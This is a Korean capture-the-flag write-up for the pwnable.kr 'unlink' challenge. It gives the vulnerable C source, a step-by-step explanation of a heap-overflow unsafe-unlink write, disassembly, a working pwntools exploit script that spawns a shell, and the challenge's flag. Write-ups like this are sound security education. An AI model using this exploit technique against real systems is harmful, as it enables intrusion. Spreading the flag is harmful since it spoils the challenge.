Pwnablekr_Toddlers Bottle_unlink

어떤 방어기법이 적용되어 있는지 확인했다. NX가 켜있으니 스택, 힙에 셸코드를 그냥 이용할 수는 없을 것 같다.

다음은 문제 소스코드이다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n", &A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}

여기서 사용되는 tagOBJ 구조체는 malloc_chunk 구조체와 형태가 유사하다. 문제도 힙 unlink와 유사하게 풀 수 있다.

문제에서는 링크드리스트를 C - B - A 순서로 연결한다. 하지만 malloc을 호출한 순서는 A, B, C 순서이므로 A부터 더 낮은 주소에 할당되었다.

printf 함수로 문제를 푸는데 필요한 스택 주소를 릭해주고, gets(A->buf); 에서 힙에 입력값을 저장한다. 이 때 힙이 오버플로우될 수 있다. 이후 unlink(B); 를 호출하여 링크드리스트에서 B를 빼준다. 이 부분에서 문제가 생긴다.

힙 오버플로우를 이용하여 B의 B->bkB->fd 데이터를 조작할 수 있다. unlink함수에서 링크드리스트에서 B를 제거할 때 B의 앞뒤 노드를 연결하는 B->bk->fd = B->fd, B->fd->bk = B->bk 작업을 한다. B->bkB->fd가 조작되었으므로 B->bk->fd(조작한 주소)와 B->fd->bk(조작한 주소) 에 임의의 값을 쓸 수 있다.

void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk; // B->bk 값 읽기(조작됨)
    FD=P->fd; // B->fd 값 읽기(조작됨)
    FD->bk=BK; // B->fd->bk(조작된 위치)에 BK(조작된 값) 저장
    BK->fd=FD; // B->bk->fd(조작된 위치)에 FD(조작된 값) 저장
}

32비트 프로그램이므로 B->bk->fd(B->bk + 0) 로 접근하고, B->fd->bk(B->fd + 4) 로 접근한다.

즉, *B에(fd 위치) 메모리를 조작할 주소를 넣고 *(B+4)에(bk 위치) 덮어쓸 값을 준다면 그 값을 *(*B+4)에 쓸 수 있다.

하지만 반대로 *(*(B+4))에도 *B 값을 쓰기 때문에(양방향으로 노드를 연결하므로), *(B+4)가 쓰기가 가능한 위치여야 한다.

shell 함수를 실행시키기 위해서는 일단 리턴 주소를 조작할 필요가 있다. 스택 주소를 릭 해주기에 이는 가능하다. 하지만 리턴 주소에 단순히 PLT 주소나 코드 주소를 쓸 수는 없다. unlink에 의해 메모리에 쓰기 위해서는 코드가 있는 쪽, 즉 PLT나 코드에도 쓰기가 가능해야 하지만 이 위치에는 쓰기가 불가하기 때문이다.

이를 해결하기 위해 코드가 끼워져 있다. 디스어셈블을 통해 알 수 있다.

   0x080485f2 <+195>: call   0x8048504 <unlink>
   0x080485f7 <+200>: add    esp,0x10
   0x080485fa <+203>: mov    eax,0x0
@> 0x080485ff <+208>: mov    ecx,DWORD PTR [ebp-0x4]
@> 0x08048602 <+211>: leave  
@> 0x08048603 <+212>: lea    esp,[ecx-0x4]
   0x08048606 <+215>: ret    

lea esp, [ecx-0x4]를 통해 ebp-0x4 주소에 저장한 값에서 0x4만큼 뺀 값을 주소로 하여 esp에 저장해 준다. 즉, 리턴 주소를 적어줄 위치를 조작할 수 있다. unlink를 이용하여 ebp-0x4위치에 쓰기 가능한 주소를 쓴다. 이는 힙 주소를 이용할 것이다. BOF를 통해 힙 주소-0x4 위치에 shell 함수 주소를 써 둔다. 이렇게 하면 쓰기 불가한 주소에 쓰기하지 않으면서 리턴 주소를 조작할 수 있다.

또한 고려할 점은 unlink에서 fd를 이용하는 쪽은 B->fd->bk = B->bk로, B->fd->bk를 변경한다는 점, 즉 (B->fd) +4 주소에 쓰기 한다는 점이다. 이를 정리하면 다음과 같다.

익스플로잇 코드의 흐름은 다음과 같다.

  1. ebp-0x4 주소를 얻는다. (스택 주소 계산)
  2. esp를 보낼 주소를 얻는다. (힙 주소 계산)
  3. shell 함수를 호출하는 페이로드 작성 (unlink 주소 조작 페이로드) : B->bkebp -0x4, B->fd에 힙 주소를 씀. 또한 해당 힙주소-4 위치에 shell 함수 주소가 있도록 함
  4. BOF로 페이로드를 보냄

참고로 릭 해주는 A의 주소는 ebp-0x14이다. 스택 주소를 계산할 때 이에 유의한다. pwntools을 이용하여 페이로드를 짰다.

from pwn import *
 
elf = '/home/unlink/unlink'
 
binf = ELF(elf)
shelladdr = binf.symbols['shell']
 
info('shell addr is : %x' %shelladdr)
 
p = process(elf)
stackaddr = p.recvline()
stackaddr = stackaddr.split('0x')
stackaddr = int(stackaddr[1], 16) + 0x14 - 0x4
 
info('EBP-0x4 is : %x' %stackaddr)
 
heapaddr = p.recvline()
heapaddr = heapaddr.split('0x')
heapaddr = int(heapaddr[1], 16) +0xc
 
info('Heap addr is : %x' %heapaddr)
 
payload = p32(shelladdr) + 'A'*12 + p32(heapaddr) + p32(stackaddr)
 
p.sendline(payload)
 
p.interactive()

플래그는 conditional_write_what_where_from_unl1nk_explo1t 이다.


tags: writeup, pwnable, elf file, linux, c lang, x86asm, heap, unsafe unlink, memory corruption, heap overflow